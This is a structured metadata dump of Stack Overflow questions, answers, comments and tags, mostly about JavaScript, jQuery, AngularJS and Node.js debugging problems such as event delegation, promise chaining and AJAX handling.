http://stackoverflow.com/q/25682100
tagged with: javascript
favorite count: 0
type: AnsweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/40211380
has comment: http://stackoverflow.com/comment/40138603
tagged with: google-chrome
type: Question
has body: There are many command line switches in Chrome, for example: http://peter.sh/experiments/chromium-command-line-switches/ Is there an option to check by javascript which of them are enabled?
has answer: http://stackoverflow.com/a/25683422
accepted answer: http://stackoverflow.com/a/25683422
score: 1
has title: How to get Chrome command line switches from js
upvote count: 1
answer count: 1

eclipse
tag name: eclipse
tags question: http://stackoverflow.com/q/25676211
tags question: http://stackoverflow.com/q/25628564
tags question: http://stackoverflow.com/q/25570454
type: Tag

http://stackoverflow.com/a/25618048
has comment: http://stackoverflow.com/comment/40022433
has comment: http://stackoverflow.com/comment/40022396
score: 2
accepted answer of: http://stackoverflow.com/q/25618003
downvote count: 0
has comment: http://stackoverflow.com/comment/40022010
has comment: http://stackoverflow.com/comment/40022337
upvote count: 2
has comment: http://stackoverflow.com/comment/40022594
has comment: http://stackoverflow.com/comment/40022133
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40021820
has body: You need to use Event Delegation using .on() delegated-events approach for dynamically created elements. Use $(document).on('click', 'input[id^="activationdate"]', function() { $(this).datepicker({ changeMonth: true, changeYear: true }); }); EDIT Apply plugin after creation of element instead of using event delgation function addDataUpper(){ //Your Existing code //Add Plugin $('#activationdate'+temp).datepicker({ changeMonth: true, changeYear: true }); return false; }
answers question: http://stackoverflow.com/q/25618003
type: Answer

http://stackoverflow.com/a/25554030
downvote count: 0
has comment: http://stackoverflow.com/comment/39907311
has comment: http://stackoverflow.com/comment/39935791
score: 2
has body: I'm trying to use $.Deferred Good! but I encountered a problem with loop in this place: $.each(data, recursion) Each of the recursion(i) calls returns a promise, so when we have kicked them off we're left with a collection of promises. Now, we can use $.when to wait for all of them, and get back a promise for all of their results. Now, we use then to chain this looped execution after the ajax call, so that we can return a promise for the eventual result of this recursion step. function recursion(i, x) { return $.ajax('http://example.com/' + tree[i] + x).then(function (data) { if (++i &lt; tree.length) // get an array of promises and compose all of them return $.when.apply($, $.map(data, function(d) { return recursion(i, d); })); else // at the innermost level return data; // get the actual results }); // and return a promise for that }
has comment: http://stackoverflow.com/comment/39926264
has comment: http://stackoverflow.com/comment/39905923
has comment: http://stackoverflow.com/comment/39904931
accepted answer of: http://stackoverflow.com/q/25551043
upvote count: 2
answers question: http://stackoverflow.com/q/25551043
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39903536
has comment: http://stackoverflow.com/comment/39926717
has comment: http://stackoverflow.com/comment/39906731
type: Answer
has comment: http://stackoverflow.com/comment/39904746

http://stackoverflow.com/q/25644014
score: 0
answer count: 1
tagged with: asp.net
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25660111
tagged with: jquery-dialog
has comment: http://stackoverflow.com/comment/40095009
type: Question
has title: Jquery dialog is not getting closed when cliking on aspx button which is present in dialog
has comment: http://stackoverflow.com/comment/40098104
has comment: http://stackoverflow.com/comment/40068792
tagged with: javascript
tagged with: jquery
has body: We are calling jquery dialog on click on grid row: protected void grdVendorContactDetails_RowDataBound(object sender, GridViewRowEventArgs e) { if (e.Row.RowType == DataControlRowType.DataRow) { e.Row.Attributes.Add("onclick", "displayContact('" + objlbl.Text + "')"); } } My jquery dialog code: function displayContact(ID) { var page ='VendorDetailsValidation.aspx?Id=' + ID //get url of link var $dialog = $('&lt;div&gt;&lt;/div&gt;') .html('&lt;iframe style="border: 0px; " src="' + page + '" width="100%" height="100%"&gt;&lt;/iframe&gt;') .dialog({ autoOpen: false, modal: true, height: 650, width: 800, title: "Validation Details", buttons: { "Close": function () { $(this).dialog("close"); } } }); $dialog.dialog('open'); } My Venodordeatails aspx page: &lt;table style="font-weight:normal; margin-top:-20px;" width="100%" border="0" cellpadding="2" cellspacing="2"&gt; &lt;tr&gt; &lt;td class="DivH1" style="color:Red;width:95%;" colspan="4"&gt; Validate : &lt;asp:Label ID="lblValidate" runat="server" Text="Label" Style="color:Black;"&gt;&lt;/asp:Label&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td class="LabelBoldLeft"&gt; Vendor &lt;/td&gt; &lt;%--&lt;td&gt;&lt;asp:Label ID="lblReqID" runat="server" Text="" CssClass = "fieldText" ReadOnly = "false" style="color:Black;"&gt;&lt;/asp:Label&gt;&lt;/td&gt; --%&gt; &lt;td class="LabelBoldLeft"&gt; Type &lt;/td&gt; &lt;%--&lt;td&gt;&lt;asp:Label ID="lblReqType" runat="server" Text="" CssClass = "fieldText reqltrType" ReadOnly = "false" style="color:Black;"&gt;&lt;/asp:Label&gt;&lt;/td&gt; --%&gt; &lt;td class="LabelBoldLeft"&gt; Contact Name &lt;/td&gt; &lt;%-- &lt;td&gt;&lt;asp:Label ID="lblReqStatus" runat="server" Text="New" CssClass = "fieldText" ReadOnly = "false" style="color:Black;"&gt;&lt;/asp:Label&gt;&lt;/td&gt; --%&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;asp:Label ID="lblVendor" runat="server" Text="" CssClass = "Label" ReadOnly = "false" style="color:Black;"&gt;&lt;/asp:Label&gt;&lt;/td&gt; &lt;td&gt;&lt;asp:DropDow…
has comment: http://stackoverflow.com/comment/40103016

http://stackoverflow.com/a/25637119
score: 2
downvote count: 0
has body: The problem with the code above is that tablesorter2 didn't have a period . in front so the selector was broken. Also, you only need to trigger an update. $('button').click(function(){ $('input:checked').closest('tr').remove(); $('.tablesorter2').trigger('update'); }); Here is a working demo.
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/25581015

communication
tag name: communication
tags question: http://stackoverflow.com/q/25599123
type: Tag
tags question: http://stackoverflow.com/q/25588188

http://stackoverflow.com/comment/39928172
has text: I don't know about your syntax for adding users (I used to use array_push($users, $user); and I used it again) but this solved it!!!! Thank you very much. Now obj.users.length works!!
comment on: http://stackoverflow.com/a/25567498
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40102394
type: Comment
comment on: http://stackoverflow.com/q/25662645
score: 0
has text: Ctrl + C -> Ctrl + V :D If you are using JS you can look into template engine which allows you to do that. See: http://stackoverflow.com/questions/449780/recommended-javascript-html-template-library-for-jquery
type: QuestionComment

http://stackoverflow.com/q/25603775
type: Question
tagged with: d3.js
has body: I'm doing something like this, http://bl.ocks.org/mbostock/1283663 But I want that the parent's size was the average of children's size. I found a solution, but It works only for the last parent. My proposition is to implement a new function average function average(d) { if (d.children !=null){ return d3.sum(d.children, function(d) {return d.value;})/d.children.length;} else{ return d.value; } } Then I replace all occurence of .attr("width", function(d) { return x(d.value); }) with .attr("width", function(d) { return x(average(d)); }) But it calculate the average only for the lastest parents and their children. Have you any idea how can I correct this function to calculate the average for all parents ? It's the third time i asked this question, but please understand me, it's very interesting for me, and I know that i will find solution if someone helps me Thanks a lot
answer count: 1
score: 0
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/39995837
has title: function to calculate the parent size from children's size
tagged with: javascript
has comment: http://stackoverflow.com/comment/40012729
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25613528
linked to: http://stackoverflow.com/q/25499957
has comment: http://stackoverflow.com/comment/39996790

http://stackoverflow.com/comment/40583156
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25559100
type: Comment
has text: @mjk Similar, yes, but what's the point of having a CLASSPATH environment variable if it's going to be ignored anyway? I'm not using -jar and it still clobbers the classpath. This only happens under Windows.

http://stackoverflow.com/q/25572953
tagged with: ajax
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/25573686
tagged with: wordpress
has title: php script echo displays in console instead of text inputs
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/json
type: Question
accepted answer: http://stackoverflow.com/a/25573686
tagged with: javascript
tagged with: jquery
has body: I have this php script: &lt;?php add_action('wp_ajax_nopriv_getuser', 'getuser'); add_action('wp_ajax_getuser', 'getuser'); function getuser($str) { global $wpdb; if(!wp_verify_nonce($_REQUEST['_nonce'], 'ajax-nonce')) { die('Not authorised!'); } $myoption = get_option( 'fixformdata_options' ); $myoptionValue = maybe_unserialize( $myoption ); $result2 = $wpdb-&gt;get_row ( $wpdb-&gt;prepare ( "SELECT * FROM {$myoptionValue[tablename]} WHERE personeelsNummer = %s", 1 ) ); if($result2) { echo json_encode( $result2 ); } } And this javascript file: jQuery(document).ready(function($){ jQuery('#input_1_2').change(function() { jQuery.ajax({ type : 'post', dataType : 'json', _nonce : myAjax.ajaxurl, url : myAjax.ajaxurl, data : {action: 'getuser', value: this.value}, succes: function(response){ var parsed = JSON.parse(response); var arr = []; for(var x in parsed){ arr.push(parsed[x]);} jQuery('#input_1_3').val(arr[1]); jQuery('#input_1_4').val(arr[2]); } }); }); }); Purpose of the scripts: When a text inputs change, use the value of this text input to display some database data in another text input. Now I have 2 problems: I can't get the value of the text input to the function getuser() When I hardcode a value in the sql statement, I get the results, but they display in the console instead of using: . success: function(response){ var parsed = JSON.parse(response); var arr = []; for(var x in parsed){ arr.push(parsed[x]);} jQuery('#input_1_3').val(arr[1]); jQuery('#input_1_4').val(arr[2]); } How can I resolve this, I'm new in Wordpress and Ajax.

http://stackoverflow.com/a/25625672
has body: You've got a couple of problems with what you posted. First, if a child is not node type 3 and not a SCRIPT node, you re-call recursivetree() but you do not pass the child in. The function will just start over at the first div element and again, infinitely loop. Second, you're calling replace() on the node itself, and not the node's innerHTML. You're trying to replace a node with a string, which just won't work, and I think you mean to replace any matching numbers within that node, rather than the entire node. If you have My number is +111-555-9999 , you only want to replace the number and not lose everything else. Try this as a solution: function recursivetree(obj){ var regex = /\+\d{1,4}?[-.\s]?\(?\d{1,3}?\)?[-.\s]?\d{1,4}[-.\s]?\d{1,4}[-.\s]?\d{1,9}/g; var y = "$&"; var obj = obj || document.getElementsByTagName('div')[0]; if(obj.hasChildNodes()){ var child = obj.firstChild; while(child){ if(child.nodeType !== 3 && child.nodeName !== 'SCRIPT'){ //Recall recursivetree with the child recursivetree(child); } //A nodeType of 3, text nodes, sometimes do not have innerHTML to replace //Check if the child has innerHTML and replace with the regex if (child.innerHTML !== undefined) { child.innerHTML = child.innerHTML.replace(regex,y); } child=child.nextSibling; } } } recursivetree(); Fiddle: http://jsfiddle.net/q07n5mz7/ Honestly? If you're trying to loop through the entire page and replace all instances of numbers, just do a replace on the body. var regex = /\+\d{1,4}?[-.\s]?\(?\d{1,3}?\)?[-.\s]?\d{1,4}[-.\s]?\d{1,4}[-.\s]?\d{1,9}/g; var y = "$&"; var body = document.body; body.innerHTML = body.innerHTML.replace(regex, y); Fiddle: http://jsfiddle.net/hmdv7adu/
has comment: http://stackoverflow.com/comment/40036328
score: 1
has comment: http://stackoverflow.com/comment/40109672
upvote count: 1
has comment: http://stackoverflow.com/comment/40146830
has comment: http://stackoverflow.com/comment/40071575
has comment: http://stackoverflow.com/comment/40039830
has comment: http://stackoverflow.com/comment/40256235
has comment: http://stackoverflow.com/comment/40208356
has comment: http://stackoverflow.com/comment/40059676
has comment: http://stackoverflow.com/comment/40136898
answers question: http://stackoverflow.com/q/25624423
has comment: http://stackoverflow.com/comment/40039459
downvote count: 0
has comment: http://stackoverflow.com/comment/40294996
has comment: http://stackoverflow.com/comment/40255801
has comment: http://stackoverflow.com/comment/40100776
type: Answer
has comment: http://stackoverflow.com/comment/40245639

http://stackoverflow.com/a/25551899
answers question: http://stackoverflow.com/q/25551724
type: Answer
has body: Try this: alert('Number of checked A answers: ' + $('input:radio[value="A"]:checked').length.toString()) Explanation of the selector: With input:radio[value="A"] you are telling jQuery to search for all the input elements of type radio which has the value "A". Then, with :checked you are telling to get only those elements which are checked. Finally, with the property lenght you are getting the quantity of elements that jQuery has found and has added to the jQuery object.
score: 0

http://stackoverflow.com/q/25646366
has answer: http://stackoverflow.com/a/26315765
type: Question
possible better answer: http://stackoverflow.com/a/25646590
has title: How do I get the results of a promise into a scoped variable manually upon promise resolution?
tagged with: javascript
has answer: http://stackoverflow.com/a/25646590
has comment: http://stackoverflow.com/comment/40072907
score: 0
answer count: 2
accepted answer: http://stackoverflow.com/a/26315765
tagged with: promise
tagged with: angularjs
has body: Assume for discussion that I'm building a stock ticker app and I need prices to update every 2 seconds, I have a $resource wrapped over calls to a WebApi, and $scoped variables on my controller that maintain the results of those $resource calls. I'm working from a modification of the sample in the Angular documentation for $interval. The major difference is that inside my interval, I am updating a $scoped variable to the results of a $resource. I've been working with Angular's automatic promise resolution for binding my variables, but now that I've got my symbols updating on an interval, the data wipes each time the interval is fired and doesn't display until the promise resolves, so I get a "windshield wiper effect" on my View. What I really want is for the "old data" to display until the promise returns, at which time, the results will be stuffed into my scoped variable and the view rebound. What would be the simplest way to do this with the following code? I tried introducing an intermediate variable, assigning it to the promise from $resource.Bars() and registering a success callback inside the interval, but the success callback never fires. 'use strict'; var ctrls = angular.module('MyModule',[]); ctrls.controller('FooCtrl', ['$scope', '$location','$interval','$document','service', function( $scope,$location,$interval,$document,service) { var stop; $scope.Bars = {}; $scope.Baz = service.Baz; //Note that angular resolves this promise automatically. $scope.pollService = function(){ if(angular.isDefined(stop))return; stop = $interval(function(){ if(service){ $scope.Bars = service.Bars(); } },1000); }; $scope.stopPolling = function(){ if(angular.isDefined(stop)){ $interval.cancel(stop); stop = undefined; } }; $scope.$on('$destroy',function(){ $scope.stopPolling(); }); $document.ready(function(){ $scope.pollService(); }); } var app = angular.module('MyModule.Services',['ngResource']); app.service('service', ['$resource', function($resource) { var proxy = $resource( '…
tagged with: angular-resource
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40073148

http://stackoverflow.com/q/25702899
tagged with: javascript
has comment: http://stackoverflow.com/comment/40175893
downvote count: 4
upvote count: 0
answer count: 1
has body: Hi I need to confirm with ajax before leave the page but with confirm('message') I have a bug $( window ).on( "beforeunload", function(){ confirm('message'); $.ajax({ type: "GET", async: false, url: 'page.php', success: function(dat) { alert(dat); } }); }); You have a idea for confirm before ajax?
tagged with: jquery
has answer: http://stackoverflow.com/a/25702919
score: -4
linked to: http://stackoverflow.com/q/9701734
favorite count: 0
tagged with: ajax
has comment: http://stackoverflow.com/comment/40175854
type: UnansweredQuestion
has title: Confirm beforeunload ajax jquery
type: Question

http://stackoverflow.com/a/25694477
downvote count: 0
type: Answer
has body: I believe your problem is on this line: setTimeout(_poll(n), 5000); You're invoking the function and passing its return value, you have to pass it in as an argument. E.g. think about how this code would execute: setTimeout(Math.Sum(2, 7), 5000); It would return 9 as the first variable, not the function itself. The easiest way to fix this is to use this format instead, which defines an anonymous function: setTimeout(function(){ _poll(n) }, 5000);
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25694325
score: 1
answers question: http://stackoverflow.com/q/25694325
type: AcceptedAnswer

http://stackoverflow.com/a/25588560
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25588364
has comment: http://stackoverflow.com/comment/39967803
has comment: http://stackoverflow.com/comment/39967892
type: Answer
has comment: http://stackoverflow.com/comment/39967776
score: 1
answers question: http://stackoverflow.com/q/25588364
upvote count: 1
has body: So it looks like you are trying to use this API here, https://github.com/uWaterloo/api-documentation/blob/master/v2/courses/subject_catalog_number_examschedule.md When testing this with one of the sets of default parameters they provide on that docs page (subject CS, number 486), it works fine – and when I change the number to something else like 1234567890, it returns an empty data object, because there is no data for that non-existent number … as meta.message clearly states in such a case: No data returned So it looks like you have just searched with parameters for which there is no data … and did not pay enough attention to the response you were getting. http://jsfiddle.net/mj3Lo5x2/ EDIT: OK, scratch all that … you originally posted this JS code in your question, $("#howdy").click(function(){ var subject = $("#name").value; var number = $("#number").value; – this does not get you the values of the input fields, because .value is a method of the pure HTMLInputElement objects, but you don’t have those here, you have jQuery objects – and with those, you need to use .val() to get the current contents of an input field. By using .value instead, you most likely got undefined for both those variables, so that you where effectively requesting /v2/courses/undefined/undefined/examschedule.json from the API … way to send everyone on a wild goose chase! Next time please do some basic debugging by checking if the values your script uses are actually what you assume they are!
type: AcceptedAnswer

http://stackoverflow.com/comment/40067265
comment on: http://stackoverflow.com/q/25643305
score: 0
type: Comment
has text: That's a lexer's concern, var declaration has nothing to do in a condition statement
type: QuestionComment

http://stackoverflow.com/comment/39959999
comment on: http://stackoverflow.com/a/25584130
type: AnswerComment
has text: They'll both cause the same error given that example.
score: 0
type: Comment

http://stackoverflow.com/q/25664883
duplicate of: http://stackoverflow.com/q/4616202
has answer: http://stackoverflow.com/a/25665286
answer count: 3
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/4616202
has body: Can i duplicate JSON property during initialization in javascript like the example below var obj = { prop1: {...}, prop2: prop1 } EDIT: Looks like my data structure was designed poorly in the first place, however the solutions below work in this case.
score: 0
tagged with: http://stackoverflow.com/tag/json
has answer: http://stackoverflow.com/a/25702658
has answer: http://stackoverflow.com/a/25664926
type: Question
has title: Duplicate JSON property during initialization in javascript
tagged with: javascript

http://stackoverflow.com/q/25597466
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/9682092
upvote count: 1
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/39984995
possible better answer: http://stackoverflow.com/a/25597656
tagged with: javascript
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/39984341
has answer: http://stackoverflow.com/a/25597656
tagged with: angularjs-filter
has title: AngularJS: filter is firing many times, value is often undefined
accepted answer: http://stackoverflow.com/a/25597967
favorite count: 0
tagged with: angularjs
has body: Following snippet: {{pid.pname}} ({{pid.pos}}) {{pid.group}} Filter the_link defined like so... myApp.filter('the_link', function() { return function(longname) { alert(longname); var parts = longname.split(' '); return parts[parts.length - 1].toLowerCase(); } }); The alert() call is fired several times on loading the page-- seemingly every time a {{...}} is parsed (4 times in the snippet), and it's undefined except for the one time where the ngHref is finally handled. Additionally, an $interpolate:interr is fired three of the four times... Why is this? I think I'm misunderstanding a lifecycle of some kind. Any clarity appreciated.
has comment: http://stackoverflow.com/comment/39985190
has answer: http://stackoverflow.com/a/25597967

http://stackoverflow.com/q/25591099
accepted answer: http://stackoverflow.com/a/25805519
tagged with: hyperlink
tagged with: javascript
has comment: http://stackoverflow.com/comment/40127620
has comment: http://stackoverflow.com/comment/40263664
has comment: http://stackoverflow.com/comment/40124072
answer count: 2
has comment: http://stackoverflow.com/comment/40229891
has comment: http://stackoverflow.com/comment/40229760
has comment: http://stackoverflow.com/comment/40138351
has comment: http://stackoverflow.com/comment/40003073
has comment: http://stackoverflow.com/comment/40001909
has comment: http://stackoverflow.com/comment/40336188
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40263727
has answer: http://stackoverflow.com/a/25591154
has title: Multiple Pages in Single HTML with continuity between pages
has answer: http://stackoverflow.com/a/25805519
tagged with: css
has comment: http://stackoverflow.com/comment/39973978
has comment: http://stackoverflow.com/comment/40002386
type: AnsweredQuestion
tagged with: hashtag
possible better answer: http://stackoverflow.com/a/25591154
score: 0
has comment: http://stackoverflow.com/comment/40008914
type: Question
has body: I found this code below (which i updated a little), which is sort of what I want, although If I am on the English section I want it to link to the english section on another webspage by passing the page ref in the link. I am basically HOPING to have a french and english version of text in one html file, the user being able to select the language, so if you are in the english version it would link to the english version of the next page, the french version would link to the french version in the next page. The links would link using a hashtag for example combinedhtml.htm/#English or combinedhtml.htm/#French Hope that makes sense. Where ever possible it would be best to have the very minimal of javascript (as I am not good with Javascript), prefer to do as much as possible in HTML5/CSS. Thanks Show French Version My ENGLISH Content which should link to English content on linked pages link to another page showing the correct version (English) Show English Version My FRENCH Content which should link to English content on linked pages link to another page showing the correct version (French)
has comment: http://stackoverflow.com/comment/40334481

http://stackoverflow.com/comment/40073238
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25646125
type: QuestionComment
has text: You can build custom directive for that.

tcp
type: Tag
tags question: http://stackoverflow.com/q/25669094
tags question: http://stackoverflow.com/q/25584304
tag name: tcp

http://stackoverflow.com/comment/40159319
type: Comment
comment on: http://stackoverflow.com/q/25693724
type: QuestionComment
has text: Have you heard of event delegation? Research on that, it will be a good start ;)
score: 1

http://stackoverflow.com/comment/40155443
has text: `$.post()` is an asynchronous method -- the callback function you give is executing after the outer function completes. It sets the `player` variable, but since the outer function has already returned this has no effect.
comment on: http://stackoverflow.com/q/25691730
score: 5
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25617449
score: 3
upvote count: 3
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25607582
type: Answer
has body: The problem was that I was not specifying the protocol, window.location.replace(window.location.protocol + "//" + window.location.host + "/configuration/manage_users") worked fine, I found out that, window.location = window.location.protocol + "//" + window.location.host + "/configuration/manage_users" is better for redirection.
answers question: http://stackoverflow.com/q/25607582

http://stackoverflow.com/comment/39960719
score: 0
has text: Thank you so much. I spent a lot of time trying to figure this out, so I'm really happy to discover why this is happening. Thanks again.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25578957

http://stackoverflow.com/comment/39913914
type: Comment
type: QuestionComment
score: 1
has text: I wonder if one of the previous `GA_` calls (in the *first* block) adds a *dynamic* script element? - Which is the only reason I can think of for the behavior, should it be reported correctly. If it does then combining the current SCRIPT elements (at least those two) won't work. Combining the last two SCRIPTs should work just fine.
comment on: http://stackoverflow.com/q/25559652

http://stackoverflow.com/comment/40064400
score: 0
type: Comment
has text: I tried adding this, but my if statement still doesn't run
type: AnswerComment
comment on: http://stackoverflow.com/a/25641612

http://stackoverflow.com/q/25640050
score: 0
has answer: http://stackoverflow.com/a/25660124
has comment: http://stackoverflow.com/comment/40061812
has answer: http://stackoverflow.com/a/25640370
tagged with: javascript
has title: Issue in firing alert message in javascript for dynamically generated checkboxes
accepted answer: http://stackoverflow.com/a/25640370
answer count: 4
has answer: http://stackoverflow.com/a/25640480
has body: I am facing issue while doing checkbox validation in my jsp using javascript. The checkbox generated inside my form, have dynamic ids: &lt;form action="displayInstallType" method="get" onsubmit="return checkbox()"&gt; &lt;c:forEach var="lineInstallType" items="${InstallTypeList.listOfInstallType}"&gt; &lt;input type="checkbox" name="${lineInstallType}" value="${lineInstallType}" class="InstallType"/&gt; ${lineInstallType} &lt;/c:forEach&gt; &lt;/form&gt; In my javaScript, I am trying to do: function checkbox() { var InstallTypeChecked=0; var list=document.getElementsByClassName("InstallType"); for(var i = 0; i &lt; list.length; i++){ var elem = document.getElementById(list[i].id); if(elem!=null){ InstallTypeChecked=1; } } if (InstallTypeChecked == 0 ) { alert('One or more radio buttons/checkboxes are not selected.Please select them first.'); return false; } else { return true; } } But I am not getting any alert if I click submit button without selecting any checkbox. Kindly help as I am new to javascript. Any help will be appreciated.
type: AnsweredQuestion
type: Question
tagged with: checkbox
possible better answer: http://stackoverflow.com/a/25640833
has answer: http://stackoverflow.com/a/25640833

http://stackoverflow.com/a/39545768
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25598468
has body: Make sure that the folder you are working is in the htdocs folder of XAMPP!

http://stackoverflow.com/comment/40190344
has text: Hi @radu - thanks for the suggestion. That's what I'm looking for. I add in an 'else' after the alert to set the cookie with: document.cookie="anything" + "=" + "true" ; but it's not behaving quite as expected. I'll play around and with your suggestion and I'm sure I'll get there. Thanks. Ian
comment on: http://stackoverflow.com/a/25710403
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/25562116
has body: Trying to write a basic jQuery plugin: HTML: Hello World! jQuery: $.fn.wysiwyg = function (options) { var e = $(this).replaceWith(" "); console.log($(this)[0].contentDocument); }; $("textarea").wysiwyg(); JSFIDDLE DEMONSTRATION The Problem var e = $(this).replaceWith(" "); console.log($(this)[0].contentDocument); I am getting undefined at the console. If I set an id attribute to this iframe and target that id in console.log method, it works perfectly, but I want to use $(this). What can be done for this?
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39918275
linked to: http://stackoverflow.com/q/3573521
type: Question
tagged with: jquery-plugins
has answer: http://stackoverflow.com/a/25562429
has comment: http://stackoverflow.com/comment/39918282
answer count: 2
has comment: http://stackoverflow.com/comment/39918663
linked to: http://stackoverflow.com/q/6118778
has answer: http://stackoverflow.com/a/25562161
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/39918596
has comment: http://stackoverflow.com/comment/39918311
score: 0
has comment: http://stackoverflow.com/comment/39918303
tagged with: http://stackoverflow.com/tag/html
has title: Getting undefined even though it is defined ( JavaScript )

http://stackoverflow.com/comment/40007483
type: QuestionComment
comment on: http://stackoverflow.com/q/25610037
has text: @RiggsFolly, I am formatting the data in PHP and inserting the response without much fuss - I am just having trouble properly constructing the JSON.
score: 0
type: Comment

http://stackoverflow.com/a/25706524
type: Answer
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/25706055
downvote count: 0
has body: @Saimeunt is correct. I needed to add default loading hook for iron-router using Router.onBeforeAction("loading"). Otherwise the waitOn subscriptions are not really applied and the page is loaded before the data has been loaded up.

http://stackoverflow.com/a/25573323
has comment: http://stackoverflow.com/comment/39940001
type: Answer
downvote count: 0
score: 1
has body: One of your if statements is written as if($(timetype == "military") the other as else if(timetype == "standard") First of all, the former of those has unclosed parenthesis. But also, one uses $ and the other doesn't. Only one of these can be the correct syntax (I'm thinking the later). Similarly, you use $('.time').datepicker in one place and $('.time').datetimepicker in the other. Again, only one of these is probably the right method to use. Edit: added from comments below: If the datetimepicker method is a constructor, calling it again after the page has been created may not actually change the format of an existing control. Further: You should check the documentation (or the source code if there is no good documentation) of the datetime picker widget to see if there is a method for changing the display format of an existing control (or if the format is a public property you might be able to assign it directly). If there is not, then having two versions initialized and hiding one is probably the best way to do it, although you could also do a post back to the server, and have some server side code that uses a passed parameter to render a page with the datetimepicker set to the desired format.
has comment: http://stackoverflow.com/comment/39940280
accepted answer of: http://stackoverflow.com/q/25573157
upvote count: 1
has comment: http://stackoverflow.com/comment/39939884
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25573157
has comment: http://stackoverflow.com/comment/39940688

http://stackoverflow.com/comment/40143709
comment on: http://stackoverflow.com/q/25685256
score: 0
has text: Ok, it's easy to get both coordinates. But is the way to check what region does it belong to?
type: QuestionComment
type: Comment

http://stackoverflow.com/a/25909610
has body: Jahnavi K is right . we can do using sTitle and You just need to dosomething like say "tableTools": { "sSwfPath": "../datatables/extensions/TableTools/swf/copy_csv_xls_pdf.swf", "aButtons": [{ "sExtends": "pdf", "sTitle": "To Pdf", // this does the trick "mColumns": [1, 2, 3] }] }
type: Answer
answers question: http://stackoverflow.com/q/25662790
score: 0

http://stackoverflow.com/q/25581299
score: 4
linked to: http://stackoverflow.com/q/13851088
answer count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/39954639
favorite count: 0
possible better answer: http://stackoverflow.com/a/25581318
linked to: http://stackoverflow.com/q/40802071
has comment: http://stackoverflow.com/comment/39954824
upvote count: 4
has answer: http://stackoverflow.com/a/25583409
accepted answer: http://stackoverflow.com/a/25583409
tagged with: node.js
has comment: http://stackoverflow.com/comment/39954799
type: AnsweredQuestion
has body: I'm using request npm to get http pages. I have something like that function callbackFunction1() { var p = 'foo'; request(url, callbackFunction2); } function callbackFunction2(err, response, body){ } How could I pass the variable p as parameter of the callbackFunction2?
has answer: http://stackoverflow.com/a/25581318
type: Question
has title: How to pass variable to a nested callback function
duplicate of: http://stackoverflow.com/q/40802071
has comment: http://stackoverflow.com/comment/39954707
tagged with: javascript

http://stackoverflow.com/comment/40124781
has text: @LucasRoss The second form is ugly (as per my view) because it represents duplication and a bad thing about duplication is it is *super easy* to introduce a bug during changes, such as adding a new column in the above. What if it was done to only one body?
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25674738

http://stackoverflow.com/q/25594584
upvote count: 2
accepted answer: http://stackoverflow.com/a/25594638
has title: How to edit a function without rewrite its content?
answer count: 4
type: AnsweredQuestion
score: 2
type: Question
has comment: http://stackoverflow.com/comment/39978691
has answer: http://stackoverflow.com/a/25594671
has answer: http://stackoverflow.com/a/25594640
downvote count: 0
has answer: http://stackoverflow.com/a/25594638
tagged with: javascript
has body: I have two scripts but I cannot access to one of them. How I would edit the content of a function without rewriting it? Example: I know this can edit the function: &lt;script&gt; function a() { alert('hi'); } &lt;/script&gt; &lt;script&gt; function a() { alert('hi'); console.log('hi'); } &lt;/script&gt; But I don't want to rewrite again the "alert('hi')".
has comment: http://stackoverflow.com/comment/39978676
possible better answer: http://stackoverflow.com/a/25594640
has answer: http://stackoverflow.com/a/25594675
has comment: http://stackoverflow.com/comment/39978806
favorite count: 0

http://stackoverflow.com/q/25694794
has answer: http://stackoverflow.com/a/25707511
tagged with: node.js
type: AnsweredQuestion
type: Question
accepted answer: http://stackoverflow.com/a/25707511
tagged with: javascript
has title: Write configurations for routes in NODE
score: 0
has comment: http://stackoverflow.com/comment/40166757
answer count: 1
has body: how are you guys? Today I need help with my application in Node, I appreciate if someone can help me. I have my routes set up on my general configuration file, and all my app.gets are rendering files in the folder views, inside the server folder, just like this: SERVER FOLDER | |- VIEWS FOLDER WITH THE SEVERAL EJS TEMPLATES | | | -- RESERVATIONS.EJS |- CONFIGURATIONFILE.JS So, Just to help you to help me.. i have this get example that are working perfectly: app.get('/reservas', ensureAuthenticated, function(req, res) { res.render('reservations'); }); I have this two configurations in my file configuration file: app.set('views', __dirname + '/views'); app.set('view engine', 'ejs'); Now, the real problem. I have a public folder that is a sibling folder of the folder server, and i have this login.ejs and I need to render it in the route /, so i have this: app.get('/', function (req, res) { res.render('login'); }); but it is not pulling the file inside the public folder.. If anyone can help me, I appreciate it

http://stackoverflow.com/comment/39945157
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25575934
score: 3
has text: @RobertRozas uhm... please don't do that.

http://stackoverflow.com/comment/40225665
type: QuestionComment
